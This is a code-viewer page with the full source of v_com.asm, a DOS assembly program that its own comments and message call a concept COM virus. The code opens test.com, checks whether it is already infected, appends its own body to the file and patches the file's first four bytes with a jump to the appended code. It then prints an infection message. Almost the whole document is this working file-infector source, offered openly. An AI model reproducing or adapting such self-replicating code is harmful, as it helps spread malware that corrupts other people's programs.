📄 v_com.asm
字号:
CSEG SEGMENT
ASSUME CS:CSEG,DS:CSEG,SS:CSEG,ES:CSEG
org 0100h
start:
nop
nop
nop
nop
CALL main
MOV AX,04c00h
INT 21h
ret
main PROC NEAR
mainstart: CALL vstart ;病毒的代码开始处
vstart:
POP SI ;得到当前地址
MOV BP,SI ;保存当前地址
ADD SI,OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四个字节
MOV DI,0100h ;目的地址
MOV AX,DS:[SI] ;开始复制
MOV DS:[DI],AX
INC SI
INC SI
INC DI ;;将yuan4byte处的4字节复制到100处
INC DI
MOV AX,DS:[SI]
MOV DS:[DI],AX
MOV SI,BP ;恢复地址值,将test.com文件的头4个字节读入到yuan4byte处
MOV DX,OFFSET filename-OFFSET vstart ;得到文件名
ADD DX,SI
MOV AL,02
MOV AH,3dh ;以读写方式打开文件
INT 21h
JC error
MOV BX,AX ;文件句柄
MOV DX,OFFSET yuan4byte-OFFSET vstart ;读文件的前四个字节
ADD DX,SI
MOV CX,4
MOV AH,3fh
INT 21h ;读4个字节
MOV DI,DX
MOV AX,DS:[DI]
CMP AX,0E94DH ;判断是否未感染,若是则进行感染
JNZ HOOH
CMP AX,DS:[100H] ;判断是否下一个模块为原文件,若是则进行一次感染
JZ DISPLAY ;否则只显示信息
HOOH:
MOV AX,04202h ;从文件尾倒移
XOR CX,CX
XOR DX,DX
INT 21h ;文件指针移到末尾,此时AX为新的文件指针位置
MOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方
ADD DI,2
ADD DI,SI
SUB AX,4
MOV DS:[DI],AX ;将文件指针位置保存到new4byte + 2处
ADD SI,OFFSET mainstart-OFFSET vstart ;准备写入病毒
MOV DX,SI ;将从vstart处开始的代码写入文件
MOV CX, OFFSET vends-OFFSET mainstart
MOV AH,40h ;写文件,写到文件末尾
INT 21h
MOV SI,BP ;定位到文件头
MOV AL,0
XOR CX,CX
XOR DX,DX
MOV AH,42h
INT 21h ;文件指针移到开头
MOV AH,40h ;将新的文件头写入
MOV CX,4
MOV DX,OFFSET new4byte-OFFSET vstart
ADD DX,SI
INT 21h ;将new4byte处4字节内容写入文件开始处
;即将文件开头设置一条jmp指令,跳到病毒开始处
MOV AH,3eh ;关闭文件
INT 21h
DISPLAY:
;display infected message
mov SI, BP
ADD SI, offset sz_message - OFFSET vstart
mov DX, SI
mov AH, 09h
int 21h
;判断是否是病毒本身
error:
MOV AX, 100h
PUSH AX
ret
main ENDP
yuan4byte: RET
DB 3 DUP (?)
vflag DW 0
new4byte DB 'M',0e9h,0,0 ;dec bp, jmp xxxx
filename DB "test.com",0 ;parasited file name
sz_message DB "You are infected by a concept com virus",0dh,0ah,'$'
vends:
CSEG ENDS
end
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -